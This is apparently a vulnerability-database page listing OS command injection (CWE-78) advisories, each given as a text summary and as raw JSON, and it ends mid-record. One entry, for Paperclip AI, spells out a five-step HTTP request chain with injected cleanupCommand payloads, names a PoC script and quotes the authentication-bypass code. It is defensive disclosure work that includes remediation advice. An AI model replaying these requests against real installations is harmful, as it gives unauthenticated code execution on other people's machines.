Common Weakness Enumeration

CWE-78

Allowed

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

8271 vulnerabilities reference this CWE, most recent first.

GHSA-VR6J-CW8V-2Q76

Vulnerability from github – Published: 2022-07-22 00:00 – Updated: 2022-07-27 00:00
VLAI
Details

Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV110W, RV130, RV130W, and RV215W Routers could allow an authenticated, remote attacker to execute arbitrary code on an affected device or cause the device to restart unexpectedly, resulting in a denial of service (DoS) condition. These vulnerabilities are due to insufficient validation of user fields within incoming HTTP packets. An attacker could exploit these vulnerabilities by sending a crafted request to the web-based management interface. A successful exploit could allow the attacker to execute arbitrary commands on an affected device with root-level privileges or to cause the device to restart unexpectedly, resulting in a DoS condition. To exploit these vulnerabilities, an attacker would need to have valid Administrator credentials on the affected device. Cisco has not released software updates that address these vulnerabilities.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2022-20874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-21T04:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV110W, RV130, RV130W, and RV215W Routers could allow an authenticated, remote attacker to execute arbitrary code on an affected device or cause the device to restart unexpectedly, resulting in a denial of service (DoS) condition. These vulnerabilities are due to insufficient validation of user fields within incoming HTTP packets. An attacker could exploit these vulnerabilities by sending a crafted request to the web-based management interface. A successful exploit could allow the attacker to execute arbitrary commands on an affected device with root-level privileges or to cause the device to restart unexpectedly, resulting in a DoS condition. To exploit these vulnerabilities, an attacker would need to have valid Administrator credentials on the affected device. Cisco has not released software updates that address these vulnerabilities.",
  "id": "GHSA-vr6j-cw8v-2q76",
  "modified": "2022-07-27T00:00:44Z",
  "published": "2022-07-22T00:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20874"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-rce-overflow-ygHByAK"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VR7G-88FQ-VHQ3

Vulnerability from github – Published: 2026-04-16 22:48 – Updated: 2026-04-16 22:48
VLAI
Summary
Paperclip: OS Command Injection via Execution Workspace cleanupCommand
Details
Field Value
Affected Software Paperclip AI v2026.403.0
Affected Component Execution Workspace lifecycle (workspace-runtime.ts)
Affected Endpoint PATCH /api/execution-workspaces/:id
Deployment Modes All — local_trusted (zero auth), authenticated (any company user)
Platforms Linux, macOS, Windows (with Git installed)
Date 2026-04-13

Executive Summary

A critical OS command injection vulnerability exists in Paperclip's execution workspace lifecycle. An attacker can inject arbitrary shell commands into the cleanupCommand field via the PATCH /api/execution-workspaces/:id endpoint. When the workspace is archived, the server executes this command verbatim via child_process.spawn(shell, ["-c", cleanupCommand]) with no input validation or sanitization. In local_trusted mode (the default for desktop installations), this requires zero authentication.

Three independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (systeminfo), and GUI application launch (calc.exe).

Root Cause Analysis

Vulnerable Code Path

server/src/services/workspace-runtime.ts (line ~738)

The cleanupExecutionWorkspaceArtifacts() function iterates over cleanup commands from workspace config and executes each via shell:

// workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts()
for (const command of cleanupCommands) {
  await recordWorkspaceCommandOperation(ws, command, ...);
}

// recordWorkspaceCommandOperation() →
const shell = resolveShell();  // process.env.SHELL || "sh"
spawn(shell, ["-c", command]);

Missing Input Validation

server/src/routes/execution-workspaces.ts — PATCH handler

The PATCH endpoint accepts a config object containing cleanupCommand with no validation:

PATCH /api/execution-workspaces/:id
Body: { "config": { "cleanupCommand": "<ARBITRARY_COMMAND>" } }

The cleanupCommand value is stored directly in workspace metadata and later passed to spawn() without sanitization, allowlisting, or escaping.

Shell Resolution

resolveShell() returns process.env.SHELL or falls back to "sh":

  • Linux/macOS: /bin/sh exists natively — commands execute immediately
  • Windows: sh.exe is available via Git for Windows (C:\Program Files\Git\bin\sh.exe) — Paperclip requires Git, so sh is present on most installations

Attack Chain

The exploit requires 5 HTTP requests with zero authentication in local_trusted mode:

Step 1 — Find a Company

GET /api/companies HTTP/1.1
Host: 127.0.0.1:3100

[{"id": "59e9248b-...", "name": "Hello", ...}]

Step 2 — Find an Execution Workspace

GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1
Host: 127.0.0.1:3100

[{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}]

Step 3 — Reactivate Workspace (if archived/failed)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"status": "active"}

Step 4 — Inject cleanupCommand (Command Injection)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}}

Response confirms storage:

{"id": "da078b2d-...", "config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}, ...}

Step 5 — Trigger RCE (Archive Workspace)

PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1
Host: 127.0.0.1:3100
Content-Type: application/json

{"status": "archived"}

This triggers cleanupExecutionWorkspaceArtifacts() which calls:

spawn(shell, ["-c", "echo RCE_PROOF > \"/tmp/rce-proof.txt\""])

The injected command is executed with the privileges of the Paperclip server process.

Authentication Bypass by Deployment Mode

local_trusted Mode (Default Desktop Install)

Every HTTP request is auto-granted full admin privileges with zero authentication:

// middleware/auth.ts
req.actor = {
  type: "board",
  userId: "local-board",
  isInstanceAdmin: true,
  source: "local_implicit"
};

The boardMutationGuard middleware is also bypassed:

// middleware/board-mutation-guard.ts (line 55)
if (req.actor.source === "local_implicit" || req.actor.source === "board_key") {
  next();
  return;
}

authenticated Mode

Any user with company access can exploit this vulnerability. The assertCompanyAccess check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields.

Proof of Concept — 3 Independent RCE Proofs (Windows 11)

All proofs executed via the automated PoC script poc_paperclip_rce.py.

Proof 1: Arbitrary File Write

Payload: echo RCE_PROOF_595c04f7 > "%TEMP%\rce-proof-595c04f7.txt"

Result:

  +================================================+
  |  VULNERABLE - Arbitrary Code Execution!         |
  |  cleanupCommand was executed on the server      |
  +================================================+

  Proof file: %TEMP%\rce-proof-595c04f7.txt
  Content:    RCE_PROOF_595c04f7
  Platform:   Windows 11

Proof 2: System Command Execution (Data Exfiltration)

Payload: systeminfo > "%TEMP%\rce-sysinfo-595c04f7.txt"

Result:

  +================================================+
  |  System command output captured!                |
  +================================================+

  Host Name:                     [REDACTED]
  OS Name:                       Microsoft Windows 11 Home
  OS Version:                    10.0.26200 N/A Build 26200
  OS Manufacturer:               Microsoft Corporation
  Registered Owner:              [REDACTED]
  Product ID:                    [REDACTED]
  System Manufacturer:           [REDACTED]
  System Model:                  [REDACTED]
  System Type:                   x64-based PC
  ... (72 total lines of system information)

Proof 3: GUI Application Launch (calc.exe)

Payload: calc.exe

Result:

  +================================================+
  |  calc.exe launched! Check your taskbar.         |
  |  This is server-side code execution.            |
  +================================================+

Windows Calculator was launched on the host system by the Paperclip server process.

Impact Assessment

Impact Description
Remote Code Execution Arbitrary commands execute as the Paperclip server process
Data Exfiltration Full system info, environment variables, files readable by server process
Lateral Movement Attacker can install tools, pivot to internal network
Supply Chain Workspaces contain source code — attacker can inject backdoors into repositories
Persistence Attacker can create scheduled tasks, install reverse shells
Privilege Escalation Server may run with elevated privileges; attacker inherits them

Attack Scenarios

  1. Desktop user (local_trusted): Any process or malicious web page making local HTTP requests to 127.0.0.1:3100 can achieve RCE with zero authentication
  2. Team deployment (authenticated): Any employee with Paperclip access can compromise the server and all repositories managed by it
  3. Chained attack: Combine with SSRF or DNS rebinding to attack Paperclip instances from the network

Remediation Recommendations

Immediate (Critical)

  1. Input validation: Reject or sanitize cleanupCommand and teardownCommand fields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution.

  2. Command allowlisting: If custom cleanup commands are needed, implement a strict allowlist of permitted commands (e.g., git clean, rm -rf <workspace_dir>).

  3. Use execFile instead of spawn with shell: Replace spawn(shell, ["-c", command]) with execFile() using an argument array, which prevents shell metacharacter injection.

Short-term

  1. Authorization check: Add proper authorization checks BEFORE processing the PATCH request. Validate that the user has explicit permission to modify workspace configuration.

  2. Separate config fields: Do not allow the same endpoint to update both workspace status and security-sensitive configuration fields like commands.

Long-term

  1. Sandboxed execution: Run cleanup commands in a sandboxed environment (container, VM) with minimal privileges.

  2. Audit logging: Log all modifications to command fields for forensic analysis.

  3. Security review: Audit all spawn, exec, and execFile calls across the codebase for similar injection patterns.

Proof of Concept Script

Script

poc_paperclip_rce.py

The full automated PoC is available as poc_paperclip_rce.py. It:

  • Auto-detects deployment mode and skips auth for local_trusted
  • Discovers company and workspace automatically
  • Reactivates failed/archived workspaces
  • On Windows, auto-locates sh.exe from Git and restarts Paperclip if needed
  • Runs 3 independent RCE proofs: file write, systeminfo, calc.exe
  • Works on Linux, macOS, and Windows

Usage:

python poc_paperclip_rce.py --target http://127.0.0.1:3100
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.416.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T22:48:09Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "| Field | Value |\n|-------|-------|\n| **Affected Software** | Paperclip AI v2026.403.0 |\n| **Affected Component** | Execution Workspace lifecycle (`workspace-runtime.ts`) |\n| **Affected Endpoint** | `PATCH /api/execution-workspaces/:id` |\n| **Deployment Modes** | All \u2014 `local_trusted` (zero auth), `authenticated` (any company user) |\n| **Platforms** | Linux, macOS, Windows (with Git installed) |\n| **Date** | 2026-04-13 |\n\n---\n\n## Executive Summary\n\nA critical OS command injection vulnerability exists in Paperclip\u0027s execution workspace lifecycle. An attacker can inject arbitrary shell commands into the `cleanupCommand` field via the `PATCH /api/execution-workspaces/:id` endpoint. When the workspace is archived, the server executes this command verbatim via `child_process.spawn(shell, [\"-c\", cleanupCommand])` with no input validation or sanitization. In `local_trusted` mode (the default for desktop installations), this requires zero authentication.\n\nThree independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (`systeminfo`), and GUI application launch (`calc.exe`).\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable Code Path\n\n**`server/src/services/workspace-runtime.ts` (line ~738)**\n\nThe `cleanupExecutionWorkspaceArtifacts()` function iterates over cleanup commands from workspace config and executes each via shell:\n\n```typescript\n// workspace-runtime.ts \u2014 cleanupExecutionWorkspaceArtifacts()\nfor (const command of cleanupCommands) {\n  await recordWorkspaceCommandOperation(ws, command, ...);\n}\n\n// recordWorkspaceCommandOperation() \u2192\nconst shell = resolveShell();  // process.env.SHELL || \"sh\"\nspawn(shell, [\"-c\", command]);\n```\n\n### Missing Input Validation\n\n**`server/src/routes/execution-workspaces.ts` \u2014 PATCH handler**\n\nThe PATCH endpoint accepts a `config` object containing `cleanupCommand` with no validation:\n\n```\nPATCH /api/execution-workspaces/:id\nBody: { \"config\": { \"cleanupCommand\": \"\u003cARBITRARY_COMMAND\u003e\" } }\n```\n\nThe `cleanupCommand` value is stored directly in workspace metadata and later passed to `spawn()` without sanitization, allowlisting, or escaping.\n\n### Shell Resolution\n\n**`resolveShell()`** returns `process.env.SHELL` or falls back to `\"sh\"`:\n\n- **Linux/macOS**: `/bin/sh` exists natively \u2014 commands execute immediately\n- **Windows**: `sh.exe` is available via Git for Windows (`C:\\Program Files\\Git\\bin\\sh.exe`) \u2014 Paperclip requires Git, so `sh` is present on most installations\n\n---\n\n## Attack Chain\n\nThe exploit requires 5 HTTP requests with zero authentication in `local_trusted` mode:\n\n### Step 1 \u2014 Find a Company\n\n```http\nGET /api/companies HTTP/1.1\nHost: 127.0.0.1:3100\n```\n\n```json\n[{\"id\": \"59e9248b-...\", \"name\": \"Hello\", ...}]\n```\n\n### Step 2 \u2014 Find an Execution Workspace\n\n```http\nGET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1\nHost: 127.0.0.1:3100\n```\n\n```json\n[{\"id\": \"da078b2d-...\", \"name\": \"HEL-1\", \"status\": \"active\", ...}]\n```\n\n### Step 3 \u2014 Reactivate Workspace (if archived/failed)\n\n```http\nPATCH /api/execution-workspaces/da078b2d-... HTTP/1.1\nHost: 127.0.0.1:3100\nContent-Type: application/json\n\n{\"status\": \"active\"}\n```\n\n### Step 4 \u2014 Inject cleanupCommand (Command Injection)\n\n```http\nPATCH /api/execution-workspaces/da078b2d-... HTTP/1.1\nHost: 127.0.0.1:3100\nContent-Type: application/json\n\n{\"config\": {\"cleanupCommand\": \"echo RCE_PROOF \u003e \\\"/tmp/rce-proof.txt\\\"\"}}\n```\n\nResponse confirms storage:\n```json\n{\"id\": \"da078b2d-...\", \"config\": {\"cleanupCommand\": \"echo RCE_PROOF \u003e \\\"/tmp/rce-proof.txt\\\"\"}, ...}\n```\n\n### Step 5 \u2014 Trigger RCE (Archive Workspace)\n\n```http\nPATCH /api/execution-workspaces/da078b2d-... HTTP/1.1\nHost: 127.0.0.1:3100\nContent-Type: application/json\n\n{\"status\": \"archived\"}\n```\n\nThis triggers `cleanupExecutionWorkspaceArtifacts()` which calls:\n```\nspawn(shell, [\"-c\", \"echo RCE_PROOF \u003e \\\"/tmp/rce-proof.txt\\\"\"])\n```\n\nThe injected command is executed with the privileges of the Paperclip server process.\n\n---\n\n## Authentication Bypass by Deployment Mode\n\n### `local_trusted` Mode (Default Desktop Install)\n\nEvery HTTP request is auto-granted full admin privileges with zero authentication:\n\n```typescript\n// middleware/auth.ts\nreq.actor = {\n  type: \"board\",\n  userId: \"local-board\",\n  isInstanceAdmin: true,\n  source: \"local_implicit\"\n};\n```\n\nThe `boardMutationGuard` middleware is also bypassed:\n\n```typescript\n// middleware/board-mutation-guard.ts (line 55)\nif (req.actor.source === \"local_implicit\" || req.actor.source === \"board_key\") {\n  next();\n  return;\n}\n```\n\n### `authenticated` Mode\n\nAny user with company access can exploit this vulnerability. The `assertCompanyAccess` check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields.\n\n---\n\n## Proof of Concept \u2014 3 Independent RCE Proofs (Windows 11)\n\nAll proofs executed via the automated PoC script `poc_paperclip_rce.py`.\n\n### Proof 1: Arbitrary File Write\n\n**Payload:** `echo RCE_PROOF_595c04f7 \u003e \"%TEMP%\\rce-proof-595c04f7.txt\"`\n\n**Result:**\n```\n  +================================================+\n  |  VULNERABLE - Arbitrary Code Execution!         |\n  |  cleanupCommand was executed on the server      |\n  +================================================+\n\n  Proof file: %TEMP%\\rce-proof-595c04f7.txt\n  Content:    RCE_PROOF_595c04f7\n  Platform:   Windows 11\n```\n\n### Proof 2: System Command Execution (Data Exfiltration)\n\n**Payload:** `systeminfo \u003e \"%TEMP%\\rce-sysinfo-595c04f7.txt\"`\n\n**Result:**\n```\n  +================================================+\n  |  System command output captured!                |\n  +================================================+\n\n  Host Name:                     [REDACTED]\n  OS Name:                       Microsoft Windows 11 Home\n  OS Version:                    10.0.26200 N/A Build 26200\n  OS Manufacturer:               Microsoft Corporation\n  Registered Owner:              [REDACTED]\n  Product ID:                    [REDACTED]\n  System Manufacturer:           [REDACTED]\n  System Model:                  [REDACTED]\n  System Type:                   x64-based PC\n  ... (72 total lines of system information)\n```\n\n### Proof 3: GUI Application Launch (calc.exe)\n\n**Payload:** `calc.exe`\n\n**Result:**\n```\n  +================================================+\n  |  calc.exe launched! Check your taskbar.         |\n  |  This is server-side code execution.            |\n  +================================================+\n```\n\nWindows Calculator was launched on the host system by the Paperclip server process.\n\n---\n\n## Impact Assessment\n\n| Impact | Description |\n|--------|-------------|\n| **Remote Code Execution** | Arbitrary commands execute as the Paperclip server process |\n| **Data Exfiltration** | Full system info, environment variables, files readable by server process |\n| **Lateral Movement** | Attacker can install tools, pivot to internal network |\n| **Supply Chain** | Workspaces contain source code \u2014 attacker can inject backdoors into repositories |\n| **Persistence** | Attacker can create scheduled tasks, install reverse shells |\n| **Privilege Escalation** | Server may run with elevated privileges; attacker inherits them |\n\n### Attack Scenarios\n\n1. **Desktop user (local_trusted)**: Any process or malicious web page making local HTTP requests to `127.0.0.1:3100` can achieve RCE with zero authentication\n2. **Team deployment (authenticated)**: Any employee with Paperclip access can compromise the server and all repositories managed by it\n3. **Chained attack**: Combine with SSRF or DNS rebinding to attack Paperclip instances from the network\n\n\n---\n\n## Remediation Recommendations\n\n### Immediate (Critical)\n\n1. **Input validation**: Reject or sanitize `cleanupCommand` and `teardownCommand` fields in the PATCH handler. Do not allow user-supplied values to be passed to shell execution.\n\n2. **Command allowlisting**: If custom cleanup commands are needed, implement a strict allowlist of permitted commands (e.g., `git clean`, `rm -rf \u003cworkspace_dir\u003e`).\n\n3. **Use `execFile` instead of `spawn` with shell**: Replace `spawn(shell, [\"-c\", command])` with `execFile()` using an argument array, which prevents shell metacharacter injection.\n\n### Short-term\n\n4. **Authorization check**: Add proper authorization checks BEFORE processing the PATCH request. Validate that the user has explicit permission to modify workspace configuration.\n\n5. **Separate config fields**: Do not allow the same endpoint to update both workspace status and security-sensitive configuration fields like commands.\n\n### Long-term\n\n6. **Sandboxed execution**: Run cleanup commands in a sandboxed environment (container, VM) with minimal privileges.\n\n7. **Audit logging**: Log all modifications to command fields for forensic analysis.\n\n8. **Security review**: Audit all `spawn`, `exec`, and `execFile` calls across the codebase for similar injection patterns.\n\n---\n\n## Proof of Concept Script\n## Script\n[poc_paperclip_rce.py](https://github.com/user-attachments/files/26697937/poc_paperclip_rce.py)\n\nThe full automated PoC is available as `poc_paperclip_rce.py`. It:\n\n- Auto-detects deployment mode and skips auth for `local_trusted`\n- Discovers company and workspace automatically\n- Reactivates failed/archived workspaces\n- On Windows, auto-locates `sh.exe` from Git and restarts Paperclip if needed\n- Runs 3 independent RCE proofs: file write, systeminfo, calc.exe\n- Works on Linux, macOS, and Windows\n\n**Usage:**\n```bash\npython poc_paperclip_rce.py --target http://127.0.0.1:3100\n```",
  "id": "GHSA-vr7g-88fq-vhq3",
  "modified": "2026-04-16T22:48:09Z",
  "published": "2026-04-16T22:48:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-vr7g-88fq-vhq3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Paperclip: OS Command Injection via Execution Workspace cleanupCommand"
}

GHSA-VR97-92RP-H57C

Vulnerability from github – Published: 2024-01-31 00:30 – Updated: 2024-05-01 21:30
VLAI
Details

OS command injection vulnerability in command processing or system call componentsROS2 (Robot Operating System 2) Foxy Fitzroy, with ROS_VERSION=2 and ROS_PYTHON_VERSION=3 allows attackers to run arbitrary commands.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-51202"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-30T22:15:52Z",
    "severity": "CRITICAL"
  },
  "details": "OS command injection vulnerability in command processing or system call componentsROS2 (Robot Operating System 2) Foxy Fitzroy, with ROS_VERSION=2 and ROS_PYTHON_VERSION=3 allows attackers to run arbitrary commands.",
  "id": "GHSA-vr97-92rp-h57c",
  "modified": "2024-05-01T21:30:30Z",
  "published": "2024-01-31T00:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51202"
    },
    {
      "type": "WEB",
      "url": "https://github.com/16yashpatel/CVE-2023-51202"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/04/23/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/04/23/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/04/23/4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/04/23/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VR9X-MM65-2438

Vulnerability from github – Published: 2020-10-08 21:38 – Updated: 2020-10-19 18:55
VLAI
Summary
Command Injection in jison
Details

Withdrawn: This vulnerability is not present in the released npm package. Rather the vulnerable code is part of the repo, but not part of the package. See linked hackerone report for more details.

Insufficient input validation in npm package jison <= 0.4.18 may lead to OS command injection attacks.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jison"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.4.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-10-08T21:36:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Withdrawn:** This vulnerability is not present in the released npm package.  Rather the vulnerable code is\npart of the repo, but not part of the package. See linked hackerone report for more details.\n\nInsufficient input validation in npm package `jison` \u003c= 0.4.18 may lead to OS command injection attacks.",
  "id": "GHSA-vr9x-mm65-2438",
  "modified": "2020-10-19T18:55:38Z",
  "published": "2020-10-08T21:38:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8178"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/690010"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Command Injection in jison",
  "withdrawn": "2020-10-19T18:55:38Z"
}

GHSA-VRC5-8XFG-G69R

Vulnerability from github – Published: 2025-04-09 09:31 – Updated: 2025-04-09 09:31
VLAI
Details

OS command injection vulnerability in the specific service exists in Wi-Fi AP UNIT 'AC-WPS-11ac series'. If exploited, an arbitrary OS command may be executed by a remote attacker who can log in to the product.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2025-27797"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-09T09:15:16Z",
    "severity": "CRITICAL"
  },
  "details": "OS command injection vulnerability in the specific service exists in Wi-Fi AP UNIT \u0027AC-WPS-11ac series\u0027. If exploited, an arbitrary OS command may be executed by a remote attacker who can log in to the product.",
  "id": "GHSA-vrc5-8xfg-g69r",
  "modified": "2025-04-09T09:31:25Z",
  "published": "2025-04-09T09:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27797"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU93925742"
    },
    {
      "type": "WEB",
      "url": "https://www.inaba.co.jp/abaniact/news/security_20250404.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRGF-XJQC-RWFC

Vulnerability from github – Published: 2025-04-11 18:31 – Updated: 2025-04-11 18:31
VLAI
Details

A command injection vulnerability in the Palo Alto Networks Cortex XDR® Broker VM allows an authenticated user to execute arbitrary OS commands with root privileges on the host operating system running Broker VM.

Severity
6.3 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:H/SI:H/SA:H/AU:N/R:U/V:D/RE:M/U:Amber
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-0119"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-11T18:15:38Z",
    "severity": "MODERATE"
  },
  "details": "A command injection vulnerability\u00a0in the Palo Alto Networks Cortex XDR\u00ae Broker VM\u00a0allows an authenticated user to execute arbitrary OS commands with root privileges on the host operating system running Broker VM.",
  "id": "GHSA-vrgf-xjqc-rwfc",
  "modified": "2025-04-11T18:31:09Z",
  "published": "2025-04-11T18:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0119"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2025-0119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VRH9-8V6G-Q73C

Vulnerability from github – Published: 2022-05-17 02:34 – Updated: 2022-05-17 02:34
VLAI
Details

A vulnerability in the CLI command-parsing code of the Cisco StarOS operating system for Cisco ASR 5000 Series 11.0 through 21.0, 5500 Series, and 5700 Series devices and Cisco Virtualized Packet Core (VPC) Software could allow an authenticated, local attacker to break from the StarOS CLI of an affected system and execute arbitrary shell commands as a Linux root user on the system, aka Command Injection. The vulnerability exists because the affected operating system does not sufficiently sanitize commands before inserting them into Linux shell commands. An attacker could exploit this vulnerability by submitting a crafted CLI command for execution in a Linux shell command as a root user. Cisco Bug IDs: CSCvc69329, CSCvc72930.

Severity
8.2 (High)
CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2017-6707"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-06T00:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the CLI command-parsing code of the Cisco StarOS operating system for Cisco ASR 5000 Series 11.0 through 21.0, 5500 Series, and 5700 Series devices and Cisco Virtualized Packet Core (VPC) Software could allow an authenticated, local attacker to break from the StarOS CLI of an affected system and execute arbitrary shell commands as a Linux root user on the system, aka Command Injection. The vulnerability exists because the affected operating system does not sufficiently sanitize commands before inserting them into Linux shell commands. An attacker could exploit this vulnerability by submitting a crafted CLI command for execution in a Linux shell command as a root user. Cisco Bug IDs: CSCvc69329, CSCvc72930.",
  "id": "GHSA-vrh9-8v6g-q73c",
  "modified": "2022-05-17T02:34:28Z",
  "published": "2022-05-17T02:34:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6707"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170705-asrcmd"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/99462"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038818"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VRHC-CGWX-M2QW

Vulnerability from github – Published: 2025-10-16 18:30 – Updated: 2025-11-25 18:32
VLAI
Details

Ilevia EVE X1 Server firmware versions ≤ 4.7.18.0.eden contain authenticated OS command injection vulnerabilities in multiple web-accessible PHP scripts that call exec() and allow an authenticated attacker to execute arbitrary commands. Ilevia has declined to service this vulnerability, and recommends that customers not expose port 8080 to the internet.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-34514"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-16T18:15:35Z",
    "severity": "HIGH"
  },
